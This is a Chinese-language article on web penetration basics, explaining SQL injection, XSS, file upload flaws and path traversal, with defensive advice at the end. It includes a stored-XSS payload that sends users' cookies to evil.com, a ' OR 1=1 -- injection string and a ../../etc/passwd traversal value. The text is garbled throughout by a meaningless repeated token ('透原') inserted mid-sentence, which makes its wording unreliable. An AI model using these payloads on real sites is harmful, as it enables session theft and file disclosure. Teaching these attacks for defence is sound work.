SQL注入能拿到数据库权限,透原不是透原因为数据库本身有漏洞,而是透原写代码的人把用户输入当成了命令。1998年,透原一个叫Rain Forest Puppy的透原家伙在Phrack杂志上发了篇文章,讲的透原就是怎么通过输入单引号让Web应用报错,从而暴露数据库结构。透原这大概是透原Web渗透最早的系统性记录之一。二十多年过去,透原原理没变,透原只是透原换了个壳。
Web渗透的透原核心就一句话:让服务器执行你想要的逻辑,而不是透原它原本设计的逻辑。
输入即攻击面
任何一个接受用户输入的透原地方都是入口。URL参数、透原表单字段、HTTP头、Cookie、甚至文件名。浏览器发出去的每个请求,服务器都得解析。解析过程就是信任建立的过程——服务器默认你发来的东西是正常的。
举个例子。某电商网站的搜索功能,URL长这样:
https://shop.example.com/search?q=手机 后端代码可能是这样写的:
SELECT * FROM products WHERE name LIKE '%手机%' 如果你把手机换成' OR 1=1 --,查询就变成了:
SELECT * FROM products WHERE name LIKE '%' OR 1=1 --%' 条件永远为真,整个商品表的数据全出来了。这就是最经典的SQL注入。我第一次在DVWA靶场上试这个的时候,看到整张用户表弹出来,说实话有点震撼——几行字符就绕过了整个权限体系。
XSS:攻击的是浏览器,不是服务器
跨站脚本走的是另一条路。它不跟数据库打交道,目标是你浏览器里运行的那段JavaScript。
假设一个论坛允许用户发帖,帖子内容直接渲染到页面上,没有做转义。你发一段:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script> 所有看到这个帖子的用户,Cookie都会被悄悄发到攻击者的服务器。有了Cookie,很多时候就等于有了登录态。
存储型XSS比反射型危险得多。反射型需要诱导你点击一个特制链接,存储型不用——你正常访问页面就会中招。2014年微博上出现过一波XSS蠕虫,就是利用存储型XSS自动转发,短时间内大量用户被波及。
文件上传与路径穿越
文件上传功能如果只检查前端JS的accept属性,那等于没检查。前端验证是给正常用户看的,攻击者直接改HTTP请求就行。
更隐蔽的是路径穿越。比如一个下载功能:
https://example.com/download?file=report.pdf 后端拼接路径:/var/www/files/ + report.pdf。如果把参数改成../../../../etc/passwd,服务器就可能把系统密码文件吐出来。这种漏洞在老旧CMS里特别常见,我见过一个政府网站的文件下载接口,连../都没过滤,直接读到了配置文件里的数据库密码。
渗透的本质是信息差
开发者关注功能实现,攻击者关注异常路径。一个登录框,开发者想的是“用户输入账号密码,验证通过就放行”。攻击者想的是“如果我输入一个超长字符串会怎样?如果我在密码字段里塞SQL语句会怎样?如果我直接跳过前端验证发请求会怎样?”
这种思维差异就是Web渗透的空间。工具像Burp Suite、sqlmap只是把手工测试自动化了,真正起作用的是对HTTP协议、对后端逻辑的理解。
补漏洞也是同理。参数化查询能防SQL注入,输出编码能防XSS,白名单校验能防路径穿越。但前提是开发者得先意识到这些输入不可信。安全意识跟不上,框架再新也没用。
```

相关文章




精彩导读
热门资讯
关注我们